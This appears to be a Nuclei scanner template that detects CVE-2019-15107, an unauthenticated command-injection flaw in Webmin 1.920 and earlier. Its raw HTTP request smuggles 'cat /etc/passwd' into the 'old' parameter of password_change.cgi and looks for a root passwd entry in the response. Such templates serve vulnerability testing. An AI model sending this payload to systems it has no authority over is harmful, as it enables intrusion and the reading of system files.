id: CVE-2019-15107

info:
  name: Webmin <= 1.920 - Unauthenticated Remote Command Execution
  author: bp0lr
  severity: critical
  description: Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter 'old' in password_change.cgi.
  reference:
    - https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2019-15107
    - https://www.exploit-db.com/exploits/47230
    - http://www.pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-15107
    cwe-id: CWE-78
  tags: cve,cve2019,webmin,rce,kev,edb

requests:
  - raw: #
      - |
        POST /password_change.cgi HTTP/1.1
        Host: {{Hostname}}
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Referer: {{BaseURL}}
        Content-Type: application/x-www-form-urlencoded

        user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

# Enhanced by mp on 2022/03/29